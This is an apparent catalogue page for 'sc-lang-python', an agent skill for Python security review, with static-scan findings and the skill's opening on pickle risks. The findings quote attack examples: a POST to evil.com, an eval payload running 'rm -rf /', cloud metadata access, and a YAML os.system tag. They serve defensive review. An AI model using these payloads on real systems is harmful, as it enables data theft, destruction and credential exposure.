sc-lang-python

A security review for Python code and Python project files. It looks for risks related to Python libraries, web frameworks, serialization, cryptography, and software dependencies.

In plain words
What is it for?
Use it to scan Python source and related configuration such as pyproject.toml, requirements.txt, setup.py, or pytest.ini for security problems.
Why use it?
It helps find Python-specific ways an attacker could run code, bypass access checks, expose data, or exploit unsafe defaults. These issues can be missed by a general code scan.

Skill for Claude CodeCodex

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add skills/ersinkoc/security-check/sc-lang-python
Any agent
npx skills add ersinkoc/security-check --skill sc-lang-python
Clone the repo
git clone --depth 1 https://github.com/ersinkoc/security-check

Made for: Claude Code, Codex.

Per session 9 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 8,631 The whole file, excluding the scripts and references it only reads on demand.
Security scan D 7 findings. Scan, not verified.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5 $0.00009 $0.08631
Opus 5 $0.00005 $0.04315
Sonnet 5 $0.00002 $0.01726
Haiku 4.5 $0.00001 $0.00863

Measured 2d ago against content hash 9accb2d2eb51, method: parsed. Prices are Anthropic first-party input rates as of 2026-08-30, from the pricing page.

Security

Grade D, and why

sc-lang-python scanned grade D with 7 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Sends data to an external URLlowData exfiltration

A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.

requests.post("https://evil.com/collect", data={

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Encoded or obfuscated payloadmediumSupply chain

base64 or hex that is decoded and executed hides what actually runs from anyone reading the file.

- `marshal.loads(data)` / `marshal.load(file)`

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Cloud metadata endpointmediumServer-side request forgery

One request to 169.254.169.254 can return temporary IAM credentials.

- Accessing `http://169.254.169.254/` (cloud metadata)

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Unrestricted tool accesslowExcessive agency

A wildcard tool grant or "run any command" leaves no least-privilege boundary at all.

**Description**: Python's `pickle` module can deserialize arbitrary objects, including those with `__reduce__` methods that execute arbitrary code. An attacker who controls pickled input can achieve full remote code exec

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Recursive force deletemediumDestructive command

rm -rf with a variable or a broad path is one typo away from removing the wrong tree.

return eval(expression) # User sends "__import__('os').system('rm -rf /')"

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

**Description**: Disabling SSL verification with `verify=False` enables man-in-the-middle attacks. Passing user-controlled URLs to `requests.get()` without validation enables Server-Side Request Forgery (SSRF) to reach i

Runs shell commandslowCapability

Expected in a hook, worth knowing in a rule or an instructions file.

**Description**: `yaml.load()` without a safe Loader can instantiate arbitrary Python objects via YAML tags like `!!python/object/apply:os.system`. This is equivalent to pickle deserialization in risk.
skills/sc-lang-python/SKILL.md · 1,086 lines

How it starts

The opening of the file, as written. The whole thing — 1,086 lines — stays where its author put it; the contents beside it link to each section on GitHub.

SC: Python Security Deep Scan

Purpose

Detects Python-specific security anti-patterns and language-idiomatic attack vectors across the entire Python ecosystem, including standard library misuse, web framework pitfalls, serialization dangers, cryptographic weaknesses, and supply-chain risks. This skill goes beyond generic vulnerability scanning to identify issues that are unique to Python's dynamic nature, duck typing, and common idioms.

Activation

Activates when Python source files (.py, .pyw, .pyi) are detected in the scan target, or when Python-related configuration files (pyproject.toml, setup.py, setup.cfg, Pipfile, requirements.txt, poetry.lock, tox.ini, pytest.ini, .flake8) are present.

Checklist Reference

References references/python-security-checklist.md for the full enumeration of checks. Each category below maps to one or more checklist items.

Severity Levels

  • CRITICAL: Remote code execution, authentication bypass, data exfiltration
  • HIGH: SQL injection, SSRF, path traversal, insecure deserialization
  • MEDIUM: Weak cryptography, information disclosure, insecure defaults
  • LOW: Best-practice violations, minor information leaks, code quality

Python-Specific Vulnerability Patterns

1. Pickle Deserialization RCE

Description: Python's pickle module can deserialize arbitrary objects, including those with __reduce__ methods that execute arbitrary code. An attacker who controls pickled input can achieve full remote code execution.

Dangerous Functions:

  • pickle.loads(), pickle.load()
  • pickle.Unpickler().load()
  • cPickle.loads(), cPickle.load()
  • joblib.load() (uses pickle internally)
  • torch.load() (uses pickle internally)
  • numpy.load(allow_pickle=True)

Safe Alternative: Use json, msgpack, or protocol buffers for data interchange. If pickle is absolutely required, use hmac to sign pickled data and verify before loading, or use fickling to audit pickle files.

Read the full file on GitHub · 1,086 lines

Files

What ships with it

1 file beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 2d ago First seen · 1,086 lines · 9 tokens per session scan D 9accb2d2eb51

Subscribe to this mod's changes

sc-lang-python is a skill published in the GitHub repository ersinkoc/security-check (56 stars, last pushed 1mo ago), licensed MIT. It adds 9 tokens to every session and 8,631 once invoked, about $0.0000 per session on Opus 5. A static security scan graded it D with 7 findings (sends data to an external url, encoded or obfuscated payload, cloud metadata endpoint). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.

Related

Other skills, from other repositories

systematic-debugging

Use when encountering any bug, test failure, or unexpected behavior, before proposing fixes.

obra/superpowers · 21 tokens

next-cache-components-adoption

Turn on Cache Components in a Next.js app and resolve the blocking routes it surfaces. Use when the user wants to enable, adopt, or migrate to Cache Components, flip the cacheComponents flag, work through a flood of blocking-prerender / instant validation errors, run the cache-components-instant-false codemod, or…

vercel/next.js · 95 tokens

babysit-pr

Babysit a GitHub pull request after creation by continuously polling review comments, CI checks/workflow runs, and mergeability state until the PR is merged/closed or user help is required. Diagnose failures, retry likely flaky failures up to 3 times, auto-fix/push branch-related issues when appropriate, and keep…

openai/codex · 114 tokens

imagegen

Generate or edit raster images when the task benefits from AI-created bitmap visuals such as photos, illustrations, textures, sprites, mockups, or transparent-background cutouts. Use when Codex should create a brand-new image, transform an existing image, or derive visual variants from references, and the output…

openai/codex · 113 tokens

cpu-profile-analysis

Analyze V8/Chrome CPU profiles (.cpuprofile) and DevTools trace files (Trace-.json). Use when: profiling performance, investigating slow functions, comparing code paths, finding bottlenecks, analyzing timeToRequest, understanding call trees from sampling profiler data, analyzing layout/paint/rendering, investigating…

microsoft/vscode · 71 tokens

next-cache-components-optimizer

Drive a Next.js route to instant navigation by setting up an agentic loop, under Cache Components / PPR, on initial load (hard navigation) and client-side navigation (soft navigation). Encode the goal as a failing @next/playwright instant() e2e and work it to green, one verified route at a time; the shipped test then…

vercel/next.js · 170 tokens